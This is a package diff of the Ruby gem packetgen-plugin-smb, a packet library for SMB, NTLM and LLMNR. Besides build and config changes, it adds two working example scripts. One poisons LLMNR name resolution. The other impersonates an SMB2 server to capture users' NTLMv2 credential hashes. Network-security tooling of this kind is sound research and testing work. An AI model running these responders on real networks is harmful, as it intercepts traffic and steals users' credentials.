packetgen-plugin-smb 0.5.0 → 0.6.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.github/workflows/specs.yml +28 -0
- data/.rubocop.yml +26 -2
- data/Gemfile +15 -0
- data/README.md +51 -12
- data/Rakefile +10 -4
- data/examples/llmnr-responder +110 -0
- data/examples/smb-responder +233 -0
- data/lib/packetgen/plugin/gssapi.rb +16 -10
- data/lib/packetgen/plugin/llmnr.rb +4 -4
- data/lib/packetgen/plugin/netbios/datagram.rb +3 -3
- data/lib/packetgen/plugin/netbios/name.rb +4 -4
- data/lib/packetgen/plugin/netbios/session.rb +5 -5
- data/lib/packetgen/plugin/netbios.rb +2 -0
- data/lib/packetgen/plugin/ntlm/authenticate.rb +197 -0
- data/lib/packetgen/plugin/ntlm/av_pair.rb +115 -0
- data/lib/packetgen/plugin/ntlm/challenge.rb +140 -0
- data/lib/packetgen/plugin/ntlm/negotiate.rb +127 -0
- data/lib/packetgen/plugin/ntlm/ntlmv2_response.rb +59 -0
- data/lib/packetgen/plugin/ntlm.rb +211 -0
- data/lib/packetgen/plugin/smb/blocks.rb +2 -2
- data/lib/packetgen/plugin/smb/browser/domain_announcement.rb +2 -2
- data/lib/packetgen/plugin/smb/browser/host_announcement.rb +2 -2
- data/lib/packetgen/plugin/smb/browser/local_master_announcement.rb +2 -2
- data/lib/packetgen/plugin/smb/browser.rb +2 -2
- data/lib/packetgen/plugin/smb/close/request.rb +2 -2
- data/lib/packetgen/plugin/smb/close/response.rb +2 -2
- data/lib/packetgen/plugin/smb/close.rb +2 -2
- data/lib/packetgen/plugin/smb/filetime.rb +10 -2
- data/lib/packetgen/plugin/smb/negotiate/dialect.rb +7 -0
- data/lib/packetgen/plugin/smb/negotiate/request.rb +7 -0
- data/lib/packetgen/plugin/smb/negotiate/response.rb +9 -3
- data/lib/packetgen/plugin/smb/negotiate.rb +2 -2
- data/lib/packetgen/plugin/smb/nt_create_and_x.rb +2 -2
- data/lib/packetgen/plugin/smb/ntcreateandx/request.rb +4 -4
- data/lib/packetgen/plugin/smb/ntcreateandx/response.rb +2 -2
- data/lib/packetgen/plugin/smb/string.rb +60 -23
- data/lib/packetgen/plugin/smb/trans/request.rb +3 -3
- data/lib/packetgen/plugin/smb/trans/response.rb +2 -2
- data/lib/packetgen/plugin/smb/trans.rb +2 -2
- data/lib/packetgen/plugin/smb.rb +12 -12
- data/lib/packetgen/plugin/smb2/base.rb +3 -3
- data/lib/packetgen/plugin/smb2/error.rb +3 -4
- data/lib/packetgen/plugin/smb2/guid.rb +4 -3
- data/lib/packetgen/plugin/smb2/negotiate/context.rb +3 -3
- data/lib/packetgen/plugin/smb2/negotiate/request.rb +3 -5
- data/lib/packetgen/plugin/smb2/negotiate/response.rb +9 -7
- data/lib/packetgen/plugin/smb2/negotiate.rb +2 -2
- data/lib/packetgen/plugin/smb2/session_setup/request.rb +9 -5
- data/lib/packetgen/plugin/smb2/session_setup/response.rb +10 -6
- data/lib/packetgen/plugin/smb2/session_setup.rb +2 -2
- data/lib/packetgen/plugin/smb2.rb +3 -3
- data/lib/packetgen/plugin/smb_version.rb +3 -1
- data/lib/packetgen-plugin-smb.rb +3 -2
- data/packetgen-plugin-smb.gemspec +8 -10
- metadata +21 -84
- data/.travis.yml +0 -12
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 81c44249205f74086ef6aa53ed5bae0b9cc4d988cbc32ed6280c389e222dfaa6
|
4
|
+
data.tar.gz: fa0c225d0bac37bf479969a2bd2a968309aacb1eb06d986d5784c99bde35575e
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 6f6834ace18bbb690025a2856be929abfa8355e218eaa66e67c76cbd0ce3711a55836d99a77d5a598d36a433b6c6ae0355103a91a726520f7204aa7494e40359
|
7
|
+
data.tar.gz: 6e87dddb4fcf4e5e4c6e534402321bc11d8e1c53b4f1fcba535ccf443ea42f6a17c1ed9935108cd066cc7fb522064f9ba43aff3b3e0aa49589ef58b0e67987b8
|
@@ -0,0 +1,28 @@
|
|
1
|
+
name: Specs
|
2
|
+
on:
|
3
|
+
push:
|
4
|
+
branches: [ master ]
|
5
|
+
pull_request:
|
6
|
+
branches: [ master ]
|
7
|
+
jobs:
|
8
|
+
test:
|
9
|
+
strategy:
|
10
|
+
fail-fast: false
|
11
|
+
matrix:
|
12
|
+
os: [ubuntu-latest]
|
13
|
+
ruby: ['2.5', '2.6', '2.7', '3.0', '3.1']
|
14
|
+
runs-on: ${{ matrix.os }}
|
15
|
+
steps:
|
16
|
+
- uses: actions/checkout@v2
|
17
|
+
- name: Install dependencies
|
18
|
+
run: sudo apt-get update -qq && sudo apt-get install libpcap-dev -qq
|
19
|
+
- name: Set up Ruby
|
20
|
+
uses: ruby/setup-ruby@v1
|
21
|
+
with:
|
22
|
+
ruby-version: ${{ matrix.ruby }}
|
23
|
+
- name: Run tests
|
24
|
+
run: |
|
25
|
+
bundle config set path 'vendor/bundle'
|
26
|
+
bundle config set --local without noci
|
27
|
+
bundle install
|
28
|
+
bundle exec rake
|
data/.rubocop.yml
CHANGED
@@ -1,15 +1,39 @@
|
|
1
|
+
require:
|
2
|
+
- rubocop-performance
|
3
|
+
AllCops:
|
4
|
+
TargetRubyVersion: '2.5'
|
5
|
+
NewCops: enable
|
6
|
+
Exclude:
|
7
|
+
- .git/**/*
|
8
|
+
- spec/**/*
|
9
|
+
- vendor/**/*
|
10
|
+
Layout/LineLength:
|
11
|
+
Enabled: false
|
1
12
|
Layout/SpaceAroundEqualsInParameterDefault:
|
2
13
|
EnforcedStyle: no_space
|
3
14
|
Lint/EmptyWhen:
|
4
15
|
Enabled: false
|
5
16
|
Lint/Void:
|
6
17
|
Enabled: false
|
7
|
-
Metrics:
|
18
|
+
Metrics/AbcSize:
|
19
|
+
Max: 20
|
20
|
+
Metrics/ClassLength:
|
21
|
+
Max: 200
|
22
|
+
Metrics/MethodLength:
|
23
|
+
Max: 20
|
24
|
+
Metrics/ParameterLists:
|
25
|
+
MaxOptionalParameters: 4
|
26
|
+
Naming/FileName:
|
27
|
+
Enabled: false
|
28
|
+
Style/AccessModifierDeclarations:
|
8
29
|
Enabled: false
|
9
30
|
Style/AsciiComments:
|
10
31
|
Enabled: false
|
11
32
|
Style/ClassAndModuleChildren:
|
12
33
|
Enabled: false
|
34
|
+
Style/Documentation:
|
35
|
+
# Too many false positives!
|
36
|
+
Enabled: false
|
13
37
|
Style/Encoding:
|
14
38
|
Enabled: false
|
15
39
|
Style/EvalWithLocation:
|
@@ -17,7 +41,7 @@ Style/EvalWithLocation:
|
|
17
41
|
Style/FormatString:
|
18
42
|
EnforcedStyle: percent
|
19
43
|
Style/FormatStringToken:
|
20
|
-
|
44
|
+
MaxUnannotatedPlaceholdersAllowed: 3
|
21
45
|
Style/PerlBackrefs:
|
22
46
|
Enabled: false
|
23
47
|
Style/RedundantSelf:
|
data/Gemfile
CHANGED
@@ -1,3 +1,18 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
source 'https://rubygems.org'
|
2
4
|
|
3
5
|
gemspec
|
6
|
+
|
7
|
+
gem 'bundler', '>=1.17', '<3'
|
8
|
+
gem 'rake', '~> 12.3'
|
9
|
+
gem 'rspec', '~> 3.10'
|
10
|
+
|
11
|
+
group :noci do
|
12
|
+
gem 'debase', '~>0.2'
|
13
|
+
gem 'rubocop', '~> 1.6.0'
|
14
|
+
gem 'rubocop-performance', '~> 1.9'
|
15
|
+
gem 'ruby-debug-ide', '~> 0.7'
|
16
|
+
gem 'simplecov', '~> 0.18'
|
17
|
+
gem 'yard', '~> 0.9'
|
18
|
+
end
|
data/README.md
CHANGED
@@ -1,22 +1,26 @@
|
|
1
1
|
[](https://badge.fury.io/rb/packetgen-plugin-smb)
|
2
|
-
[](https://travis-ci.com/sdaubert/packetgen-plugin-smb)
|
3
2
|
|
4
3
|
# Packetgen::Plugin::SMB
|
5
4
|
|
6
5
|
This is a plugin for [PacketGen gem](https://github.com/sdaubert/packetgen). It adds some support for SMB protocol suite:
|
7
6
|
|
7
|
+
* NetBIOS:
|
8
|
+
* Datagram service,
|
9
|
+
* Session service,
|
8
10
|
* SMB:
|
9
|
-
|
10
|
-
|
11
|
-
|
12
|
-
|
13
|
-
|
11
|
+
* SMB common header,
|
12
|
+
* Negotiate command,
|
13
|
+
* Close command,
|
14
|
+
* NtCreateAndX command,
|
15
|
+
* Trans command,
|
16
|
+
* Browser subprotocol,
|
14
17
|
* SMB2:
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
* GSSAPI, used to transport negotiation over SMB2 commands
|
19
|
-
|
18
|
+
* SMB2 common header (support 2.x and 3.x dialects),
|
19
|
+
* Negotiate command,
|
20
|
+
* SessionSetup command,
|
21
|
+
* GSSAPI, used to transport negotiation over SMB2 commands,
|
22
|
+
* NTLM, SMB authentication protocol,
|
23
|
+
* LLMNR (_Link-Local Multicast Name Resolution_), resolution protocol used in SMB networks.
|
20
24
|
|
21
25
|
## Installation
|
22
26
|
|
@@ -36,7 +40,42 @@ Or install it yourself as:
|
|
36
40
|
|
37
41
|
## Usage
|
38
42
|
|
39
|
-
|
43
|
+
### SMB2 with NTLM negociation
|
44
|
+
|
45
|
+
See [examples/smb-responder](/examples/smb-responder).
|
46
|
+
|
47
|
+
### LLMNR
|
48
|
+
|
49
|
+
LLMNR is a multicast protocol. Unless you want to have a fine control on UDP layer, the simplest way is to use it over a UDP ruby socket:
|
50
|
+
|
51
|
+
```ruby
|
52
|
+
require 'socket'
|
53
|
+
require 'packetgen'
|
54
|
+
require 'packetgen-plugin-smb'
|
55
|
+
|
56
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
57
|
+
LOCAL_IPADDR = 'x.x.x.x' # your IP
|
58
|
+
|
59
|
+
# Open a UDP socket
|
60
|
+
socket = UDPSocket.new
|
61
|
+
# Bind it to receive LLMNR response packets
|
62
|
+
socket.bind(LOCAL_IPADDR, 0)
|
63
|
+
|
64
|
+
# Send a LLMNR query
|
65
|
+
query = PacketGen.gen('LLMNR', id: 0x1234, opcode: 'query')
|
66
|
+
query.llmnr.qd << { rtype: 'Question', name: 'example.local' }
|
67
|
+
socket.send(query.to_s, 0, LLMNR_MCAST_ADDR, PacketGen::Plugin::LLMNR::UDP_PORT)
|
68
|
+
|
69
|
+
# Get answer
|
70
|
+
# data = socket.recv(1024)
|
71
|
+
data, peer = socket.recvfrom(1024)
|
72
|
+
answer = PacketGen.parse(data, first_header: 'LLMNR')
|
73
|
+
example_local_ip = answer.llmnr.an.to_a
|
74
|
+
.find { |an| an.is_a?(PacketGen::Header::DNS::RR) }.human_rdata
|
75
|
+
puts example_local_ip
|
76
|
+
```
|
77
|
+
|
78
|
+
You have to manage multicast if you want to make a LLMNR responder. For further details, see [examples/llmnr-responder](/examples/llmnr-responder).
|
40
79
|
|
41
80
|
## See also
|
42
81
|
|
data/Rakefile
CHANGED
@@ -1,13 +1,19 @@
|
|
1
|
+
# frozen_string_literal: true
|
1
2
|
|
2
3
|
require 'bundler/gem_tasks'
|
3
4
|
require 'rspec/core/rake_task'
|
4
|
-
require 'yard'
|
5
5
|
|
6
6
|
task default: :spec
|
7
7
|
|
8
8
|
RSpec::Core::RakeTask.new
|
9
9
|
|
10
|
-
|
11
|
-
|
12
|
-
|
10
|
+
begin
|
11
|
+
require 'yard'
|
12
|
+
|
13
|
+
YARD::Rake::YardocTask.new do |t|
|
14
|
+
t.options = ['--no-private']
|
15
|
+
t.files = ['lib/**/*.rb', '-', 'LICENSE']
|
16
|
+
end
|
17
|
+
rescue LoadError
|
18
|
+
# no yard, so no yard task
|
13
19
|
end
|
@@ -0,0 +1,110 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a LLMNR responder. It responds to all LLMNR
|
8
|
+
# requests on local network, and says requested name is its IP address.
|
9
|
+
|
10
|
+
# frozen_string_literal: true
|
11
|
+
|
12
|
+
require 'optparse'
|
13
|
+
require 'socket'
|
14
|
+
require 'ipaddr'
|
15
|
+
|
16
|
+
require 'packetgen'
|
17
|
+
require 'packetgen-plugin-smb'
|
18
|
+
|
19
|
+
BIND_ADDR = '0.0.0.0'
|
20
|
+
|
21
|
+
class LlmnrResponder
|
22
|
+
attr_reader :socket, :my_ip, :my_ip_data
|
23
|
+
|
24
|
+
LLMNR_MCAST_ADDR = '224.0.0.252'
|
25
|
+
|
26
|
+
def initialize
|
27
|
+
@socket = UDPSocket.new
|
28
|
+
end
|
29
|
+
|
30
|
+
def start(bind_addr:, iface:)
|
31
|
+
@my_ip = Interfacez.ipv4_address_of(iface)
|
32
|
+
@my_ip_data = IPAddr.new(my_ip).hton
|
33
|
+
configure_multicast(my_ip_data)
|
34
|
+
|
35
|
+
socket.bind(bind_addr, PacketGen::Plugin::LLMNR::UDP_PORT)
|
36
|
+
|
37
|
+
start_loop
|
38
|
+
end
|
39
|
+
|
40
|
+
private
|
41
|
+
|
42
|
+
def log(str)
|
43
|
+
puts "[LLMNR] #{str}"
|
44
|
+
end
|
45
|
+
|
46
|
+
def configure_multicast(local_ip_bin)
|
47
|
+
mreq = IPAddr.new(LLMNR_MCAST_ADDR).hton + local_ip_bin
|
48
|
+
socket.setsockopt(:IPPROTO_IP, :IP_ADD_MEMBERSHIP, mreq)
|
49
|
+
end
|
50
|
+
|
51
|
+
def start_loop
|
52
|
+
loop do
|
53
|
+
data, peer = socket.recvfrom(1024)
|
54
|
+
pkt = PacketGen.parse(data, first_header: 'LLMNR')
|
55
|
+
next unless pkt.is?('LLMNR')
|
56
|
+
|
57
|
+
peer_port = peer[1]
|
58
|
+
peer_ip = peer[3]
|
59
|
+
log "received LLMNR request from #{peer_ip}"
|
60
|
+
|
61
|
+
# Forge LLMNR response
|
62
|
+
response_pkt = pkt.reply
|
63
|
+
response_pkt.llmnr.qr = true
|
64
|
+
response_pkt.llmnr.qd.each do |question|
|
65
|
+
next unless (question.human_rrclass == 'IN') && (question.human_type == 'A')
|
66
|
+
|
67
|
+
log "Say to #{peer_ip} #{question.name} is #{my_ip}"
|
68
|
+
answer = { rtype: 'RR', name: question.name, rdata: my_ip_data }
|
69
|
+
response_pkt.llmnr.an << answer
|
70
|
+
end
|
71
|
+
response_pkt.calc
|
72
|
+
|
73
|
+
next unless response_pkt.llmnr.ancount > 0
|
74
|
+
|
75
|
+
socket.send(response_pkt.to_s, 0, peer_ip, peer_port)
|
76
|
+
end
|
77
|
+
end
|
78
|
+
end
|
79
|
+
|
80
|
+
def parse_options
|
81
|
+
options = {}
|
82
|
+
|
83
|
+
OptionParser.new do |opts|
|
84
|
+
opts.banner = "Usage: #{$PROGRAM_NAME} [options]"
|
85
|
+
opts.separator ''
|
86
|
+
opts.separator 'Options:'
|
87
|
+
|
88
|
+
opts.on_tail('-h', '--help', 'Show this message') do
|
89
|
+
puts opts
|
90
|
+
exit
|
91
|
+
end
|
92
|
+
|
93
|
+
opts.on('-i IFACE', '--interface IFACE', 'interface on which responds') do |iface|
|
94
|
+
options[:iface] = iface
|
95
|
+
end
|
96
|
+
end.parse!
|
97
|
+
|
98
|
+
options
|
99
|
+
end
|
100
|
+
|
101
|
+
def check_options(options)
|
102
|
+
raise 'No interface given' if options[:iface].nil?
|
103
|
+
raise "unknown interface #{options[:iface]}" unless Interfacez.all.include? options[:iface]
|
104
|
+
end
|
105
|
+
|
106
|
+
options = parse_options
|
107
|
+
|
108
|
+
check_options options
|
109
|
+
|
110
|
+
LlmnrResponder.new.start(bind_addr: BIND_ADDR, iface: options[:iface])
|
@@ -0,0 +1,233 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# This file is part of packetgen-plugin-smb.
|
3
|
+
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
4
|
+
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
5
|
+
# This program is published under MIT license.
|
6
|
+
#
|
7
|
+
# This small example implements a SMB responder. It responds to all SMB
|
8
|
+
# Negotiate request to capture credentials.
|
9
|
+
# Before running it (as root), llmnr-responder should be running.
|
10
|
+
|
11
|
+
# frozen_string_literal: true
|
12
|
+
|
13
|
+
require 'socket'
|
14
|
+
require 'securerandom'
|
15
|
+
require 'ostruct'
|
16
|
+
|
17
|
+
require 'packetgen'
|
18
|
+
require 'packetgen-plugin-smb'
|
19
|
+
|
20
|
+
BIND_ADDR = '0.0.0.0'
|
21
|
+
|
22
|
+
DOMAIN_NAME = 'SMB3'
|
23
|
+
COMPUTER_NAME = 'WIN-AZE546CFHTD'
|
24
|
+
|
25
|
+
Thread.abort_on_exception = true
|
26
|
+
|
27
|
+
Credentials = Struct.new(:user, :computer, :challenge, :proof, :response, :ip) do
|
28
|
+
def to_s
|
29
|
+
user = self.user.encode('UTF-8')
|
30
|
+
computer = self.computer.encode('UTF-8')
|
31
|
+
str = +"User: #{user}\nComputer:#{computer} (IP: #{ip})\n"
|
32
|
+
str << "Challenge: #{challenge}\nProof: #{proof}\n"
|
33
|
+
str << "Response: #{response}"
|
34
|
+
end
|
35
|
+
end
|
36
|
+
|
37
|
+
class Smb2Responder
|
38
|
+
attr_reader :socket, :guid, :salt
|
39
|
+
|
40
|
+
NTLMSSP_OID = '1.3.6.1.4.1.311.2.2.10'
|
41
|
+
STATUS_MORE_PROCESSING_REQUIRED = 0xc0000016
|
42
|
+
STATUS_ACCESS_DENIED = 0xc0000022
|
43
|
+
|
44
|
+
SMB2_SIZE = 8_388_608
|
45
|
+
SMB2_NEGO_RESP_BUFFER = "`\x82\x01<\x06\x06+\x06\x01\x05\x05\x02\xA0\x82\x0100\x82\x01,\xA0\x1A0\x18\x06\n+\x06\x01\x04\x01\x827\x02\x02\x1E\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xA2\x82\x01\f\x04\x82\x01\bNEGOEXTS\x01\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00p\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\x7F\x15\x93\x15k\xE5\x88\n\x9A\\\x9A\xD6\x9EK`\x81\a\xEF\xF7f\xF6\x80\xAA\x17\xE0\xC2\xC5\xE5\xDB\x05\\\v\x00\x00\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\bNEGOEXTS\x03\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\x98\x00\x00\x00C%\xB9`\x18\xCE\xC8\xA9\xB7\xB7W\x9B\xC1J\xF5\xC0\\3S\r\xEA\xF9\rM\xB2\xECJ\xE3xn\xC3\b@\x00\x00\x00X\x00\x00\x000V\xA0T0R0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key0'\x80%0#1!0\x1F\x06\x03U\x04\x03\x13\x18Token Signing Public Key"
|
46
|
+
SMB2_SALT_LEN = 32
|
47
|
+
|
48
|
+
def initialize
|
49
|
+
@guid = SecureRandom.uuid
|
50
|
+
@salt = SecureRandom.random_bytes(SMB2_SALT_LEN)
|
51
|
+
end
|
52
|
+
|
53
|
+
def start(bind_addr:)
|
54
|
+
@socket = TCPServer.new(bind_addr, PacketGen::Plugin::NetBIOS::Session::TCP_PORT2)
|
55
|
+
|
56
|
+
start_loop
|
57
|
+
end
|
58
|
+
|
59
|
+
private
|
60
|
+
|
61
|
+
def log(str)
|
62
|
+
puts "[SMB2] #{str}"
|
63
|
+
end
|
64
|
+
|
65
|
+
def get_smb_data(sock)
|
66
|
+
PacketGen.parse(sock.recv(1024), first_header: 'NetBIOS::Session')
|
67
|
+
end
|
68
|
+
|
69
|
+
def smb2_nego_resp1
|
70
|
+
return @resp1_pkt if defined? @resp1_pkt
|
71
|
+
|
72
|
+
@resp1_pkt = PacketGen.gen('NetBIOS::Session')
|
73
|
+
.add('SMB2', credit: 1)
|
74
|
+
.add('SMB2::Negotiate::Response',
|
75
|
+
dialect: 0x2ff,
|
76
|
+
server_guid: guid, capabilities: 7,
|
77
|
+
max_trans_size: SMB2_SIZE,
|
78
|
+
max_read_size: SMB2_SIZE,
|
79
|
+
max_write_size: SMB2_SIZE)
|
80
|
+
@resp1_pkt.smb2_negotiate_response[:buffer] = PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER)
|
81
|
+
@resp1_pkt.calc
|
82
|
+
@resp1_pkt
|
83
|
+
end
|
84
|
+
|
85
|
+
def first_nego_response
|
86
|
+
pkt = smb2_nego_resp1
|
87
|
+
pkt.smb2_negotiate_response[:system_time] = PacketGen::Plugin::SMB::Filetime.now
|
88
|
+
pkt
|
89
|
+
end
|
90
|
+
|
91
|
+
def second_nego_response(req_pkt)
|
92
|
+
smb2_req = req_pkt.smb2
|
93
|
+
nego_req = req_pkt.smb2_negotiate_request
|
94
|
+
|
95
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
96
|
+
.add('SMB2',
|
97
|
+
credit: 1,
|
98
|
+
message_id: smb2_req.message_id,
|
99
|
+
reserved: smb2_req.reserved)
|
100
|
+
.add('SMB2::Negotiate::Response',
|
101
|
+
dialect: nego_req.dialects.last,
|
102
|
+
server_guid: guid,
|
103
|
+
capabilities: 0x2f,
|
104
|
+
max_trans_size: SMB2_SIZE,
|
105
|
+
max_read_size: SMB2_SIZE,
|
106
|
+
max_write_size: SMB2_SIZE,
|
107
|
+
system_time: PacketGen::Plugin::SMB::Filetime.now,
|
108
|
+
buffer: PacketGen::Types::String.new.read(SMB2_NEGO_RESP_BUFFER))
|
109
|
+
|
110
|
+
pkt.smb2_negotiate_response.context_list << { type: 1, salt_length: SMB2_SALT_LEN, salt: salt }
|
111
|
+
pkt.smb2_negotiate_response.context_list.last.hash_alg << PacketGen::Types::Int16le.new(1)
|
112
|
+
|
113
|
+
pkt.smb2_negotiate_response.context_list << { type: 2 }
|
114
|
+
pkt.smb2_negotiate_response.context_list.last.ciphers << PacketGen::Types::Int16le.new(1)
|
115
|
+
pkt.calc
|
116
|
+
pkt
|
117
|
+
end
|
118
|
+
|
119
|
+
def first_session_setup_response(req_pkt)
|
120
|
+
smb2_req = req_pkt.smb2
|
121
|
+
setup_req = req_pkt.smb2_sessionsetup_request
|
122
|
+
ntlm_nego = PacketGen::Plugin::NTLM.read(setup_req.buffer[:token_init][:mech_token].value)
|
123
|
+
|
124
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
125
|
+
.add('SMB2',
|
126
|
+
credit_charge: 1,
|
127
|
+
credit: 1,
|
128
|
+
status: STATUS_MORE_PROCESSING_REQUIRED,
|
129
|
+
message_id: smb2_req.message_id,
|
130
|
+
reserved: smb2_req.reserved)
|
131
|
+
.add('SMB2::SessionSetup::Response')
|
132
|
+
|
133
|
+
ntlm = PacketGen::Plugin::NTLM::Challenge.new
|
134
|
+
ntlm.flags = ntlm_nego.flags | 0x00810000
|
135
|
+
ntlm.flags &= 0xfdffff15
|
136
|
+
ntlm.challenge = [rand(2**64)].pack('q<')
|
137
|
+
ntlm.target_name.read('SMB3')
|
138
|
+
ntlm.target_info << { type: 'DomainName', value: DOMAIN_NAME }
|
139
|
+
ntlm.target_info << { type: 'ComputerName', value: COMPUTER_NAME }
|
140
|
+
ntlm.target_info << { type: 'DnsDomainName', value: "#{DOMAIN_NAME}.local" }
|
141
|
+
ntlm.target_info << { type: 'DnsComputerName', value: "#{COMPUTER_NAME}.local" }
|
142
|
+
ntlm.target_info << { type: 'DnsTreeName', value: "#{DOMAIN_NAME}.local" }
|
143
|
+
ntlm.target_info << { type: 'Timestamp', value: PacketGen::Plugin::SMB::Filetime.now.to_human }
|
144
|
+
ntlm.target_info << { type: 'EOL' }
|
145
|
+
ntlm.calc_length
|
146
|
+
|
147
|
+
gssapi = pkt.smb2_sessionsetup_response.buffer
|
148
|
+
gssapi[:token_resp][:response].value = ntlm.to_s
|
149
|
+
gssapi[:token_resp][:negstate].value = 'accept-incomplete'
|
150
|
+
gssapi[:token_resp][:supported_mech] = NTLMSSP_OID
|
151
|
+
|
152
|
+
pkt.calc
|
153
|
+
|
154
|
+
[pkt, ntlm.challenge]
|
155
|
+
end
|
156
|
+
|
157
|
+
def deny_access(req_pkt)
|
158
|
+
smb2_req = req_pkt.smb2
|
159
|
+
pkt = PacketGen.gen('NetBIOS::Session')
|
160
|
+
.add('SMB2',
|
161
|
+
credit: 1,
|
162
|
+
credit_charge: 1,
|
163
|
+
status: STATUS_ACCESS_DENIED,
|
164
|
+
message_id: smb2_req.message_id,
|
165
|
+
reserved: smb2_req.reserved)
|
166
|
+
.add('SMB2::SessionSetup::Response')
|
167
|
+
# Remove buffer
|
168
|
+
pkt.smb2_sessionsetup_response[:buffer] = PacketGen::Types::String.new
|
169
|
+
pkt.calc
|
170
|
+
pkt
|
171
|
+
end
|
172
|
+
|
173
|
+
def start_loop
|
174
|
+
loop do
|
175
|
+
client = socket.accept
|
176
|
+
to_close = false
|
177
|
+
|
178
|
+
log "connection from #{client.peeraddr[2]}"
|
179
|
+
|
180
|
+
credentials = Credentials.new
|
181
|
+
credentials.ip = client.peeraddr.last
|
182
|
+
|
183
|
+
until to_close
|
184
|
+
rcv_pkt = get_smb_data(client)
|
185
|
+
|
186
|
+
pkt_to_send = case rcv_pkt.headers.last.protocol_name
|
187
|
+
when 'SMB::Negotiate::Request'
|
188
|
+
unless rcv_pkt.smb_negotiate_request.dialects.map(&:to_human).include?('SMB 2.???')
|
189
|
+
to_close = true
|
190
|
+
nil
|
191
|
+
end
|
192
|
+
|
193
|
+
first_nego_response
|
194
|
+
|
195
|
+
when 'SMB2::Negotiate::Request'
|
196
|
+
second_nego_response rcv_pkt
|
197
|
+
|
198
|
+
when 'SMB2::SessionSetup::Request'
|
199
|
+
gssapi = rcv_pkt.smb2_sessionsetup_request.buffer
|
200
|
+
if gssapi[:token_init][:mech_types].value.map(&:value).include?(NTLMSSP_OID)
|
201
|
+
pkt, challenge = first_session_setup_response(rcv_pkt)
|
202
|
+
credentials.challenge = binary2hex(challenge)
|
203
|
+
pkt
|
204
|
+
else
|
205
|
+
response = PacketGen::Plugin::NTLM.read(gssapi[:token_resp][:response].value)
|
206
|
+
if response.is_a?(PacketGen::Plugin::NTLM::Authenticate)
|
207
|
+
credentials.proof = binary2hex(response.nt_response.response)
|
208
|
+
credentials.user = response.user_name
|
209
|
+
credentials.computer = response.workstation
|
210
|
+
credentials.response = binary2hex(response.nt_response.to_s[response.nt_response[:response].sz..-5])
|
211
|
+
to_close = true
|
212
|
+
deny_access rcv_pkt
|
213
|
+
else
|
214
|
+
to_close = true
|
215
|
+
nil
|
216
|
+
end
|
217
|
+
end
|
218
|
+
end
|
219
|
+
|
220
|
+
client.send(pkt_to_send.to_s, 0) if pkt_to_send
|
221
|
+
client.close if to_close
|
222
|
+
|
223
|
+
puts credentials.to_s unless credentials.response.nil?
|
224
|
+
end
|
225
|
+
end
|
226
|
+
end
|
227
|
+
|
228
|
+
def binary2hex(str)
|
229
|
+
str.unpack('H*').first
|
230
|
+
end
|
231
|
+
end
|
232
|
+
|
233
|
+
Smb2Responder.new.start(bind_addr: BIND_ADDR)
|
@@ -1,10 +1,10 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
|
1
3
|
# This file is part of packetgen-plugin-smb.
|
2
4
|
# See https://github.com/sdaubert/packetgen-plugin-smb for more informations
|
3
5
|
# Copyright (C) 2018 Sylvain Daubert <sylvain.daubert@laposte.net>
|
4
6
|
# This program is published under MIT license.
|
5
7
|
|
6
|
-
# frozen_string_literal: true
|
7
|
-
|
8
8
|
require 'rasn1'
|
9
9
|
|
10
10
|
module PacketGen::Plugin
|
@@ -61,6 +61,8 @@ module PacketGen::Plugin
|
|
61
61
|
# gssapi[:token_resp][:response] #=> RASN1::Types::OctetString
|
62
62
|
# @author Sylvain Daubert
|
63
63
|
class GSSAPI < RASN1::Model
|
64
|
+
include PacketGen::Types::Fieldable
|
65
|
+
|
64
66
|
# GSS API Negotiation Token Init
|
65
67
|
#
|
66
68
|
# A GSSAPI Negotiation Token Init is a ASN.1 SEQUENCE, explicitly tagged 0,
|
@@ -94,14 +96,18 @@ module PacketGen::Plugin
|
|
94
96
|
octet_string(:mech_list_mic, explicit: 3, class: :context, constructed: true, optional: true)]
|
95
97
|
end
|
96
98
|
|
99
|
+
class NegTokenInitEnvelop < RASN1::Model
|
100
|
+
sequence(:init, implicit: 0, class: :application,
|
101
|
+
content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
|
102
|
+
model(:token_init, NegTokenInit)])
|
103
|
+
end
|
104
|
+
|
97
105
|
choice :gssapi,
|
98
|
-
content: [
|
99
|
-
content: [objectid(:oid, value: '1.3.6.1.5.5.2'),
|
100
|
-
model(:token_init, NegTokenInit)]),
|
106
|
+
content: [model(:init_env, NegTokenInitEnvelop),
|
101
107
|
model(:token_resp, NegTokenResp)]
|
102
108
|
|
103
109
|
# @param [Hash] args
|
104
|
-
# @
|
110
|
+
# @option args [Symbol] :token +:init+ or +:response+ to force selection of
|
105
111
|
# token CHOICE.
|
106
112
|
